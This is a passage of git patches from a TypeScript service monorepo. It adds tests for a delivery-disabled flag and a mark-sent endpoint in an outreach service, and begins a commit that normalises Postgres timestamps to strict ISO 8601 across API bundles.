+ broker: MemoryBroker; + touched: string[]; + transportSend: ReturnType>; + token: string; +} + +const opened: FastifyInstance[] = []; +let sign: Awaited>; + +beforeAll(async () => { + sign = await stubJwksAndCreateSigner(); +}); + +afterEach(async () => { + for (const app of opened.splice(0)) await app.close(); +}); + +async function build(envOverrides: Record = {}): Promise { + const env = loadOutreachServiceEnv({ + DATABASE_URL: 'postgres://atlas:atlas@127.0.0.1:1/never_used', + PORT: '4007', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + ...envOverrides, + }); + const touched: string[] = []; + const broker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; + const transportSend = vi.fn(async () => undefined); + const app = buildApp({ + db: untouchableDb(touched), + sql: {} as never, + env, + logger: createSilentLogger(), + broker, + transport: { send: transportSend }, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push(app); + await app.ready(); + const userId = randomUUID(); + const token = await sign({ sub: userId, sid: randomUUID(), org: null, role: null, email: `${userId}@example.com` }); + return { app, broker, touched, transportSend, token }; +} + +const inOneHour = () => new Date(Date.now() + 3_600_000).toISOString(); + +describe('delivery disabled (the default)', () => { + it('rejects send with a clear 503 before reading, claiming or sending anything, and publishes no event', async () => { + const { app, broker, touched, transportSend, token } = await build(); + + const res = await app.inject({ + method: 'POST', + url: `/v1/messages/${SOME_MESSAGE}/send`, + headers: { authorization: `Bearer ${token}` }, + }); + + expect(res.statusCode).toBe(503); + expect(res.json().error).toMatchObject({ + code: 'UPSTREAM_UNAVAILABLE', + message: expect.stringContaining('does not deliver messages'), + details: { reason: 'delivery_disabled', alternative: 'POST /v1/messages/:id/mark-sent' }, + }); + expect(touched).toEqual([]); + expect(transportSend).not.toHaveBeenCalled(); + expect(broker.published).toEqual([]); + }); + + it('rejects schedule the same way, whatever the body says', async () => { + const { app, broker, touched, token } = await build(); + + for (const payload of [{ scheduled_for: inOneHour() }, { scheduled_for: 'not a date' }, {}]) { + const res = await app.inject({ + method: 'POST', + url: `/v1/messages/${SOME_MESSAGE}/schedule`, + headers: { authorization: `Bearer ${token}` }, + payload, + }); + expect(res.statusCode).toBe(503); + expect(res.json().error.details.reason).toBe('delivery_disabled'); + } + expect(touched).toEqual([]); + expect(broker.published).toEqual([]); + }); + + it('still answers an anonymous caller with 401, so the refusal tells them nothing', async () => { + const { app, touched } = await build(); + + for (const url of [`/v1/messages/${SOME_MESSAGE}/send`, `/v1/messages/${SOME_MESSAGE}/schedule`]) { + const res = await app.inject({ method: 'POST', url }); + expect(res.statusCode).toBe(401); + } + expect(touched).toEqual([]); + }); + + it('treats an explicit false the same as the default', async () => { + const { app, token } = await build({ OUTREACH_DELIVERY_ENABLED: 'false' }); + const res = await app.inject({ + method: 'POST', + url: `/v1/messages/${SOME_MESSAGE}/send`, + headers: { authorization: `Bearer ${token}` }, + }); + expect(res.statusCode).toBe(503); + }); + + it('does not lift the stricter send limit: the 21st attempt in a minute is a 429, not another 503', async () => { + const { app, token } = await build({ RATE_LIMIT_MAX: '1000' }); + + const seen: number[] = []; + for (let attempt = 0; attempt < SEND_LIMIT + 2; attempt += 1) { + const res = await app.inject({ + method: 'POST', + url: `/v1/messages/${SOME_MESSAGE}/send`, + headers: { authorization: `Bearer ${token}` }, + }); + seen.push(res.statusCode); + } + expect(seen).toEqual([...Array(SEND_LIMIT).fill(503), 429, 429]); + }); + + it('applies the global limit to schedule even though it only answers 503', async () => { + const { app, token } = await build({ RATE_LIMIT_MAX: '3' }); + + const seen: number[] = []; + for (let attempt = 0; attempt < 5; attempt += 1) { + const res = await app.inject({ + method: 'POST', + url: `/v1/messages/${SOME_MESSAGE}/schedule`, + headers: { authorization: `Bearer ${token}` }, + payload: { scheduled_for: inOneHour() }, + }); + seen.push(res.statusCode); + } + expect(seen).toEqual([503, 503, 503, 429, 429]); + }); +}); + +describe('delivery enabled', () => { + it('lets send and schedule through to their handlers (which then need the database)', async () => { + const { app, touched, token } = await build({ OUTREACH_DELIVERY_ENABLED: 'true' }); + + for (const [url, payload] of [ + [`/v1/messages/${SOME_MESSAGE}/send`, undefined], + [`/v1/messages/${SOME_MESSAGE}/schedule`, { scheduled_for: inOneHour() }], + ] as const) { + const before = touched.length; + const res = await app.inject({ method: 'POST', url, headers: { authorization: `Bearer ${token}` }, payload }); + // The stand-in database throws, so reaching it surfaces as a 500, never as the 503 refusal. + expect(res.statusCode).toBe(500); + expect(touched.length).toBeGreaterThan(before); + } + }); +}); diff --git a/services/outreach/test/env.test.ts b/services/outreach/test/env.test.ts new file mode 100644 index 0000000..5269e51 --- /dev/null +++ b/services/outreach/test/env.test.ts @@ -0,0 +1,41 @@ +import { describe, expect, it } from 'vitest'; +import { loadOutreachServiceEnv } from '../src/env.js'; + +const base = { DATABASE_URL: 'postgres://u:p@localhost:5432/db', PORT: '4007', SUPABASE_URL: 'https://test-project.supabase.co' }; + +describe('OUTREACH_DELIVERY_ENABLED', () => { + it('is off unless it is set', () => { + expect(loadOutreachServiceEnv(base).OUTREACH_DELIVERY_ENABLED).toBe(false); + }); + + it.each([['true'], ['1'], ['yes'], ['on'], ['TRUE']])('reads %s as on', (value) => { + expect(loadOutreachServiceEnv({ ...base, OUTREACH_DELIVERY_ENABLED: value }).OUTREACH_DELIVERY_ENABLED).toBe(true); + }); + + it.each([['false'], ['0'], ['no'], ['off']])('reads %s as off', (value) => { + expect(loadOutreachServiceEnv({ ...base, OUTREACH_DELIVERY_ENABLED: value }).OUTREACH_DELIVERY_ENABLED).toBe(false); + }); + + // A typo must stop the boot: reading it as "off" (or "on") would be guessing about whether + // users' messages get delivered. + it.each([['ture'], ['enable'], ['tru'], ['2'], ['']])('fails at boot on the unrecognised value %j', (value) => { + expect(() => loadOutreachServiceEnv({ ...base, OUTREACH_DELIVERY_ENABLED: value })).toThrow(/OUTREACH_DELIVERY_ENABLED/); + }); + + it('refuses delivery with the log-only local transport in production', () => { + expect(() => + loadOutreachServiceEnv({ ...base, NODE_ENV: 'production', OUTREACH_DELIVERY_ENABLED: 'true', OUTREACH_TRANSPORT_DRIVER: 'local' }), + ).toThrow(/OUTREACH_DELIVERY_ENABLED.*local transport only logs/s); + // The default transport is local, so leaving the driver unset is the same mistake. + expect(() => loadOutreachServiceEnv({ ...base, NODE_ENV: 'production', OUTREACH_DELIVERY_ENABLED: 'true' })).toThrow( + /OUTREACH_DELIVERY_ENABLED/, + ); + }); + + it('still allows delivery with the local transport outside production, and production with delivery off', () => { + for (const NODE_ENV of ['development', 'test']) { + expect(loadOutreachServiceEnv({ ...base, NODE_ENV, OUTREACH_DELIVERY_ENABLED: 'true' }).OUTREACH_DELIVERY_ENABLED).toBe(true); + } + expect(loadOutreachServiceEnv({ ...base, NODE_ENV: 'production' }).OUTREACH_DELIVERY_ENABLED).toBe(false); + }); +}); diff --git a/services/outreach/test/outreach-flow.test.ts b/services/outreach/test/outreach-flow.test.ts index cbfc845..f82edfa 100644 --- a/services/outreach/test/outreach-flow.test.ts +++ b/services/outreach/test/outreach-flow.test.ts @@ -1,50 +1,28 @@ import { randomUUID } from 'node:crypto'; import { eq } from 'drizzle-orm'; -import { exportJWK, generateKeyPair, SignJWT } from 'jose'; import type { FastifyInstance } from 'fastify'; import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; import { createTokenVerifierConfig } from '@atlas/auth-kit'; -import { createBroker, type MemoryBroker } from '@atlas/messaging'; +import { createBroker, derivedEventId, type MemoryBroker } from '@atlas/messaging'; import { createDatabase, schema, type DatabaseHandle } from '@atlas/db'; +import type { MessageStatus } from '@atlas/types'; import { createSilentLogger } from '@atlas/utils'; import { buildApp } from '../src/app.js'; import { loadOutreachServiceEnv } from '../src/env.js'; import { createTransport } from '../src/lib/transport.js'; +import { stubJwksAndCreateSigner, SUPABASE_URL } from './support.js'; // DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; -const SUPABASE_URL = 'https://test-project.supabase.co'; - -let signTestToken: (claims: { sub: string; sid: string; org: string | null; role: string | null; email: string }) => Promise; - -// createRemoteJWKSet fetches over HTTP — stub it to serve a locally -// generated key instead of hitting a real Supabase project. -async function stubJwks(): Promise { - const { publicKey, privateKey } = await generateKeyPair('ES256'); - const jwk = await exportJWK(publicKey); - jwk.kid = 'test-key'; - jwk.alg = 'ES256'; - jwk.use = 'sig'; - vi.stubGlobal( - 'fetch', - async () => new Response(JSON.stringify({ keys: [jwk] }), { status: 200, headers: { 'content-type': 'application/json' } }), - ); - - signTestToken = async (claims) => - new SignJWT({ session_id: claims.sid, email: claims.email, app_metadata: { org_id: claims.org, role: claims.role } }) - .setProtectedHeader({ alg: 'ES256', kid: 'test-key' }) - .setSubject(claims.sub) - .setIssuer(`${SUPABASE_URL}/auth/v1`) - .setAudience('authenticated') - .setIssuedAt() - .setExpirationTime(Math.floor(Date.now() / 1000) + 900) - .sign(privateKey); -} describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { + // Two deployments over one database: the production default (Atlas delivers nothing) and the + // dev/test one where the log-only local transport "sends". let app: FastifyInstance; - let dbHandle: DatabaseHandle; let broker: MemoryBroker; + let offApp: FastifyInstance; + let offBroker: MemoryBroker; + let dbHandle: DatabaseHandle; let token: string; let otherToken: string; const userId = randomUUID(); @@ -55,23 +33,38 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { let companyId: string; let applicationId: string; let contactId: string; + const apps: FastifyInstance[] = []; - beforeAll(async () => { - await stubJwks(); - const env = loadOutreachServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4007', SUPABASE_URL }); - dbHandle = createDatabase({ url: env.DATABASE_URL }); - broker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; - const transport = createTransport({ driver: 'local', logger: createSilentLogger() }); - app = buildApp({ + function make(envOverrides: Record, theBroker: MemoryBroker): FastifyInstance { + const env = loadOutreachServiceEnv({ + DATABASE_URL: testDatabaseUrl, + PORT: '4007', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + ...envOverrides, + }); + const built = buildApp({ db: dbHandle.db, sql: dbHandle.sql, env, logger: createSilentLogger(), - broker, - transport, + broker: theBroker, + transport: createTransport({ driver: 'local', logger: createSilentLogger() }), tokenVerifier: createTokenVerifierConfig(env), }); + apps.push(built); + return built; + } + + beforeAll(async () => { + const sign = await stubJwksAndCreateSigner(); + dbHandle = createDatabase({ url: testDatabaseUrl! }); + broker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; + offBroker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; + app = make({ OUTREACH_DELIVERY_ENABLED: 'true' }, broker); + offApp = make({}, offBroker); await app.ready(); + await offApp.ready(); // public.users.user_id FKs to auth.users.id (see packages/db/supabase/auth-hooks.sql); // inserting into auth.users fires handle_new_user, which creates the matching @@ -111,8 +104,8 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { .returning(); contactId = contact!.contactId; - token = await signTestToken({ sub: userId, sid: randomUUID(), org: null, role: null, email }); - otherToken = await signTestToken({ sub: otherUserId, sid: randomUUID(), org: null, role: null, email: otherEmail }); + token = await sign({ sub: userId, sid: randomUUID(), org: null, role: null, email }); + otherToken = await sign({ sub: otherUserId, sid: randomUUID(), org: null, role: null, email: otherEmail }); }); afterAll(async () => { @@ -123,11 +116,42 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { await dbHandle.db.delete(schema.companies).where(eq(schema.companies.companyId, companyId)); // Cascades to public.users via the auth.users FK. await dbHandle.sql`delete from auth.users where id in (${userId}, ${otherUserId})`; - await app.close(); + for (const built of apps) await built.close(); await broker.close(); + await offBroker.close(); await dbHandle.close(); + vi.unstubAllGlobals(); }); + const bearer = (value: string) => ({ authorization: `Bearer ${value}` }); + + /** A fresh draft owned by `userId`, created through the API like a client would. */ + async function newDraft(): Promise { + const res = await offApp.inject({ + method: 'POST', + url: '/v1/messages', + headers: { ...bearer(token), 'idempotency-key': `idem-${randomUUID()}` }, + payload: { application_id: applicationId, contact_id: contactId, channel: 'email' }, + }); + expect(res.statusCode).toBe(201); + return res.json().message.message_id; + } + + async function row(messageId: string) { + const [found] = await dbHandle.db.select().from(schema.messages).where(eq(schema.messages.messageId, messageId)); + return found!; + } + + async function forceStatus(messageId: string, status: MessageStatus, scheduledFor: string | null = null) { + await dbHandle.db.update(schema.messages).set({ status, scheduledFor }).where(eq(schema.messages.messageId, messageId)); + } + + const markSent = (target: FastifyInstance, messageId: string, as: string, payload?: unknown) => + target.inject({ method: 'POST', url: `/v1/messages/${messageId}/mark-sent`, headers: bearer(as), ...(payload === undefined ? {} : { payload }) }); + + const sentEventsFor = (theBroker: MemoryBroker, messageId: string) => + theBroker.publishedOf('outreach.sent').filter((e) => e.payload.message_id === messageId); + it('requires an Idempotency-Key header', async () => { const res = await app.inject({ method: 'POST', @@ -176,6 +200,245 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { expect(res.statusCode).toBe(404); }); + describe('delivery disabled (the production default)', () => { + it('refuses to send a draft, leaves the row untouched and publishes nothing', async () => { + const id = await newDraft(); + const before = await row(id); + const eventsBefore = offBroker.published.length; + + const res = await offApp.inject({ method: 'POST', url: `/v1/messages/${id}/send`, headers: bearer(token) }); + + expect(res.statusCode).toBe(503); + expect(res.json().error.details.reason).toBe('delivery_disabled'); + expect(await row(id)).toEqual(before); + expect(before.status).toBe('draft'); + expect(before.sentAt).toBeNull(); + expect(offBroker.published).toHaveLength(eventsBefore); + }); + + it('refuses to schedule a draft and leaves the row untouched', async () => { + const id = await newDraft(); + const before = await row(id); + const eventsBefore = offBroker.published.length; + + const res = await offApp.inject({ + method: 'POST', + url: `/v1/messages/${id}/schedule`, + headers: bearer(token), + payload: { scheduled_for: new Date(Date.now() + 3_600_000).toISOString() }, + }); + + expect(res.statusCode).toBe(503); + expect(await row(id)).toEqual(before); + expect(before.scheduledFor).toBeNull(); + expect(offBroker.published).toHaveLength(eventsBefore); + }); + + it('does not touch a message that is already scheduled either', async () => { + const id = await newDraft(); + await forceStatus(id, 'scheduled', new Date(Date.now() + 3_600_000).toISOString()); + const before = await row(id); + const eventsBefore = offBroker.published.length; + + const res = await offApp.inject({ method: 'POST', url: `/v1/messages/${id}/send`, headers: bearer(token) }); + + expect(res.statusCode).toBe(503); + expect(await row(id)).toEqual(before); + expect(offBroker.published).toHaveLength(eventsBefore); + }); + + it('still creates, lists and fetches drafts', async () => { + const id = await newDraft(); + const got = await offApp.inject({ method: 'GET', url: `/v1/messages/${id}`, headers: bearer(token) }); + expect(got.statusCode).toBe(200); + const listed = await offApp.inject({ method: 'GET', url: '/v1/messages', headers: bearer(token) }); + expect(listed.json().items.map((m: { message_id: string }) => m.message_id)).toContain(id); + }); + }); + + describe('POST /v1/messages/:id/mark-sent', () => { + it('records a draft as sent by its owner without a transport, even with delivery off, and publishes outreach.sent once', async () => { + const id = await newDraft(); + + const res = await markSent(offApp, id, token); + + expect(res.statusCode).toBe(200); + const { message } = res.json(); + // Same response shape as send/schedule/get: { message } carrying every Message field. + expect(Object.keys(res.json())).toEqual(['message']); + expect(Object.keys(message).sort()).toEqual( + ['application_id', 'body', 'channel', 'contact_id', 'created_at', 'idempotency_key', 'message_id', 'scheduled_for', 'sent_at', 'status', 'subject', 'user_id'], + ); + expect(message).toMatchObject({ message_id: id, status: 'sent', user_id: userId, scheduled_for: null }); + expect(message.sent_at).not.toBeNull(); + + const stored = await row(id); + expect(stored.status).toBe('sent'); + expect(stored.sentAt).not.toBeNull(); + + const events = sentEventsFor(offBroker, id); + expect(events).toHaveLength(1); + expect(events[0]!.payload).toEqual({ message_id: id, user_id: userId, contact_id: contactId, channel: 'email' }); + expect(events[0]!.event_id).toBe(derivedEventId(id, 'outreach.sent')); + }); + + it('accepts an optional note without storing or echoing it, and rejects an oversized one', async () => { + const id = await newDraft(); + const note = 'sent from my own gmail'; + + const res = await markSent(offApp, id, token, { note }); + expect(res.statusCode).toBe(200); + expect(JSON.stringify(res.json())).not.toContain(note); + expect(JSON.stringify(await row(id))).not.toContain(note); + expect(JSON.stringify(sentEventsFor(offBroker, id))).not.toContain(note); + + const other = await newDraft(); + const tooLong = await markSent(offApp, other, token, { note: 'x'.repeat(501) }); + expect(tooLong.statusCode).toBe(400); + expect(tooLong.json().error.code).toBe('VALIDATION_ERROR'); + expect((await row(other)).status).toBe('draft'); + }); + + it('works from scheduled and keeps the scheduled time', async () => { + const id = await newDraft(); + const scheduledFor = new Date(Date.now() + 3_600_000).toISOString(); + await forceStatus(id, 'scheduled', scheduledFor); + + const res = await markSent(offApp, id, token); + + expect(res.statusCode).toBe(200); + expect(res.json().message.status).toBe('sent'); + expect(new Date((await row(id)).scheduledFor!).toISOString()).toBe(scheduledFor); + expect(sentEventsFor(offBroker, id)).toHaveLength(1); + }); + + describe('ownership', () => { + it("404s for someone else's message and changes nothing", async () => { + const id = await newDraft(); + const before = await row(id); + const eventsBefore = offBroker.published.length; + + const res = await markSent(offApp, id, otherToken); + + expect(res.statusCode).toBe(404); + expect(res.json().error.code).toBe('NOT_FOUND'); + expect(await row(id)).toEqual(before); + expect(offBroker.published).toHaveLength(eventsBefore); + // The owner can still record it afterwards: the failed attempt claimed nothing. + expect((await markSent(offApp, id, token)).statusCode).toBe(200); + }); + + it('answers a message that does not exist exactly like one that is not yours', async () => { + const id = await newDraft(); + const missing = await markSent(offApp, randomUUID(), token); + const foreign = await markSent(offApp, id, otherToken); + expect(missing.statusCode).toBe(404); + expect({ ...missing.json().error, request_id: undefined }).toEqual({ ...foreign.json().error, request_id: undefined }); + }); + + it('requires a token and a well-formed id', async () => { + const id = await newDraft(); + expect((await offApp.inject({ method: 'POST', url: `/v1/messages/${id}/mark-sent` })).statusCode).toBe(401); + expect((await markSent(offApp, 'not-a-uuid', token)).statusCode).toBe(400); + expect((await row(id)).status).toBe('draft'); + }); + }); + + describe('idempotency', () => { + it('answers a repeat with the same message and emits no second event', async () => { + const id = await newDraft(); + const first = await markSent(offApp, id, token); + const second = await markSent(offApp, id, token); + const third = await markSent(offApp, id, token, { note: 'again' }); + + for (const res of [second, third]) { + expect(res.statusCode).toBe(200); + expect(res.json().message).toEqual(first.json().message); + } + expect(sentEventsFor(offBroker, id)).toHaveLength(1); + }); + + it('does not move sent_at on a repeat', async () => { + const id = await newDraft(); + await markSent(offApp, id, token); + const firstSentAt = (await row(id)).sentAt; + await markSent(offApp, id, token); + expect((await row(id)).sentAt).toBe(firstSentAt); + }); + + it('treats a message Atlas already sent (delivery on) the same way: 200, nothing new published', async () => { + const id = await newDraft(); + const sent = await app.inject({ method: 'POST', url: `/v1/messages/${id}/send`, headers: bearer(token) }); + expect(sent.statusCode).toBe(200); + expect(sentEventsFor(broker, id)).toHaveLength(1); + + const res = await markSent(app, id, token); + + expect(res.statusCode).toBe(200); + expect(res.json().message.status).toBe('sent'); + expect(sentEventsFor(broker, id)).toHaveLength(1); + }); + }); + + describe('atomicity', () => { + it('lets exactly one of many concurrent requests claim the message and publish', async () => { + const id = await newDraft(); + + const responses = await Promise.all(Array.from({ length: 10 }, () => markSent(offApp, id, token))); + + expect(responses.map((res) => res.statusCode)).toEqual(Array(10).fill(200)); + expect(new Set(responses.map((res) => res.json().message.sent_at)).size).toBe(1); + expect(sentEventsFor(offBroker, id)).toHaveLength(1); + expect((await row(id)).status).toBe('sent'); + }); + + it.each(['failed', 'bounced', 'delivered', 'replied'])( + 'refuses a %s message with 409 and leaves it as it was', + async (status) => { + const id = await newDraft(); + await forceStatus(id, status); + const before = await row(id); + const eventsBefore = offBroker.published.length; + + const res = await markSent(offApp, id, token); + + expect(res.statusCode).toBe(409); + expect(res.json().error.code).toBe('CONFLICT'); + expect(await row(id)).toEqual(before); + expect(offBroker.published).toHaveLength(eventsBefore); + }, + ); + + it.each<{ from: 'draft' | 'scheduled' }>([{ from: 'draft' }, { from: 'scheduled' }])( + 'puts a $from message back when the event cannot be published, so a retry starts clean', + async ({ from }) => { + const id = await newDraft(); + if (from === 'scheduled') await forceStatus(id, 'scheduled', new Date(Date.now() + 3_600_000).toISOString()); + const before = await row(id); + + const brokenBroker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; + brokenBroker.publish = async () => { + throw new Error('broker down'); + }; + const brokenApp = make({}, brokenBroker); + await brokenApp.ready(); + + const failed = await markSent(brokenApp, id, token); + expect(failed.statusCode).toBe(500); + // The failure is reported, not hidden, and the message is not left claimed. + expect(await row(id)).toEqual(before); + expect(before.status).toBe(from); + expect(before.sentAt).toBeNull(); + + const retried = await markSent(offApp, id, token); + expect(retried.statusCode).toBe(200); + expect(retried.json().message.status).toBe('sent'); + expect(sentEventsFor(offBroker, id)).toHaveLength(1); + }, + ); + }); + }); + it('rejects scheduling in the past', async () => { const res = await app.inject({ method: 'POST', @@ -197,7 +460,7 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { expect(res.json().message.status).toBe('scheduled'); }); - it('sends the message via the local transport and publishes outreach.sent', async () => { + it('with delivery on, sends the message via the local transport and publishes outreach.sent', async () => { const res = await app.inject({ method: 'POST', url: `/v1/messages/${messageId}/send`, @@ -218,8 +481,13 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { }); it('lists the caller\'s own messages', async () => { - const res = await app.inject({ method: 'GET', url: '/v1/messages', headers: { authorization: `Bearer ${token}` } }); + // The suite above creates dozens of drafts; ask for a page big enough to hold them all. + const res = await app.inject({ method: 'GET', url: '/v1/messages?limit=100', headers: { authorization: `Bearer ${token}` } }); expect(res.statusCode).toBe(200); - expect(res.json().items.map((m: { message_id: string }) => m.message_id)).toContain(messageId); + const ids = res.json().items.map((m: { message_id: string }) => m.message_id); + expect(ids).toContain(messageId); + + const theirs = await app.inject({ method: 'GET', url: '/v1/messages?limit=100', headers: { authorization: `Bearer ${otherToken}` } }); + expect(theirs.json().items).toEqual([]); }); }); diff --git a/services/outreach/test/ratelimit.test.ts b/services/outreach/test/ratelimit.test.ts index cd07a13..0c53c0d 100644 --- a/services/outreach/test/ratelimit.test.ts +++ b/services/outreach/test/ratelimit.test.ts @@ -124,6 +124,18 @@ describe('outreach-service rate limiting', () => { expect(seen).toEqual([401, 401, 401, 429]); }); + it('limits mark-sent with the global budget, not the stricter send one', async () => { + const markSent: TestRequest = { method: 'POST', url: `/v1/messages/${MESSAGE_A}/mark-sent` }; + + // Spends the (small) global budget like any other business route... + const limited = await build(); + expect(await statuses(limited, 5, markSent)).toEqual([401, 401, 401, 429, 429]); + + // ...and is not held to the 20/minute that sending has: it only records, nothing goes out. + const roomy = await build({ RATE_LIMIT_MAX: '1000' }); + expect(await statuses(roomy, SEND_LIMIT + 5, markSent)).toEqual(Array(SEND_LIMIT + 5).fill(401)); + }); + it('counts unknown routes too, so probing for paths cannot run free', async () => { const app = await build(); diff --git a/services/outreach/test/support.ts b/services/outreach/test/support.ts new file mode 100644 index 0000000..06e69ec --- /dev/null +++ b/services/outreach/test/support.ts @@ -0,0 +1,39 @@ +import { exportJWK, generateKeyPair, SignJWT } from 'jose'; +import { vi } from 'vitest'; + +export const SUPABASE_URL = 'https://test-project.supabase.co'; + +export interface TestClaims { + sub: string; + sid: string; + org: string | null; + role: string | null; + email: string; +} + +/** + * auth-kit fetches the project's JWKS over HTTP. Stubs `fetch` to serve a + * locally generated key and returns a signer for tokens that verify against it, + * so tests need no Supabase project. Call `vi.unstubAllGlobals()` when done. + */ +export async function stubJwksAndCreateSigner(): Promise<(claims: TestClaims) => Promise> { + const { publicKey, privateKey } = await generateKeyPair('ES256'); + const jwk = await exportJWK(publicKey); + jwk.kid = 'test-key'; + jwk.alg = 'ES256'; + jwk.use = 'sig'; + vi.stubGlobal( + 'fetch', + async () => new Response(JSON.stringify({ keys: [jwk] }), { status: 200, headers: { 'content-type': 'application/json' } }), + ); + + return async (claims) => + new SignJWT({ session_id: claims.sid, email: claims.email, app_metadata: { org_id: claims.org, role: claims.role } }) + .setProtectedHeader({ alg: 'ES256', kid: 'test-key' }) + .setSubject(claims.sub) + .setIssuer(`${SUPABASE_URL}/auth/v1`) + .setAudience('authenticated') + .setIssuedAt() + .setExpirationTime(Math.floor(Date.now() / 1000) + 900) + .sign(privateKey); +} From 951f0dcfc11a4ddbb269e308d2ba3019480ea4d7 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:33:41 +0000 Subject: [PATCH 58/91] fix(api): serialize timestamps as strict ISO 8601 in profile, applications, referrals, learning, analytics, matching and admin Postgres renders timestamptz as '2026-10-27 12:59:21.123+00'. Chrome parses that; Safari/iOS returns Invalid Date, and it fails the declared isoTimestampSchema. A preSerialization hook now rewrites strings under `*_at` keys to '2026-10-27T12:59:21.123Z' (free text is never touched). The hook is callback-style on purpose: routes here end in reply.send() without `return reply`, and an async hook made Fastify send twice in admin-service (caught by services/admin/test/logging.test.ts, not by the unit test, which cannot reproduce that timing). jobs, outreach and auth are wired after their in-flight changes land. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- api/admin/index.js | 75 +++++++++++++-- api/analytics/index.js | 65 ++++++++++++- api/applications/index.js | 65 ++++++++++++- api/learning/index.js | 65 ++++++++++++- api/matching/index.js | 65 ++++++++++++- api/profile/index.js | 89 ++++++++++++++---- api/referrals/index.js | 65 ++++++++++++- packages/observability/src/index.ts | 1 + packages/observability/src/timestamps.ts | 88 ++++++++++++++++++ .../observability/test/timestamps.test.ts | 93 +++++++++++++++++++ scripts/smoke.d.mts | 13 +++ services/admin/src/app.ts | 9 +- services/analytics/src/app.ts | 3 + services/applications/src/app.ts | 3 + services/learning/src/app.ts | 3 + services/matching/src/app.ts | 3 + services/profile/src/app.ts | 3 + services/referrals/src/app.ts | 3 + 18 files changed, 665 insertions(+), 46 deletions(-) create mode 100644 packages/observability/src/timestamps.ts create mode 100644 packages/observability/test/timestamps.test.ts create mode 100644 scripts/smoke.d.mts diff --git a/api/admin/index.js b/api/admin/index.js index 895972c..b791bec 100644 --- a/api/admin/index.js +++ b/api/admin/index.js @@ -34864,7 +34864,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -34877,14 +34877,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -34897,7 +34897,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -77217,6 +77217,62 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/admin/src/limits.ts var DEFAULT_IMPORT_RATE_PER_MINUTE = 10; var DEFAULT_EXPORT_RATE_PER_MINUTE = 10; @@ -77302,7 +77358,7 @@ async function recordAudit(db2, entry) { } // services/admin/src/lib/timestamps.ts -function toIsoTimestamp(value) { +function toIsoTimestamp2(value) { const parsed = new Date(value); if (Number.isNaN(parsed.getTime())) { throw new Error("toIsoTimestamp: not a timestamp"); @@ -77315,8 +77371,8 @@ var { students: students2, users: users2, organizationMembers: organizationMembe function escapeLike(term) { return term.replace(/[\\%_]/g, (char2) => `\\${char2}`); } -var PG_TIMESTAMP = /^\d{4}-\d{2}-\d{2}[ T]\d{2}:\d{2}:\d{2}(\.\d{1,6})?(Z|[+-]\d{2}(:?\d{2})?)$/; -var cursorSchema = external_exports.object({ createdAt: 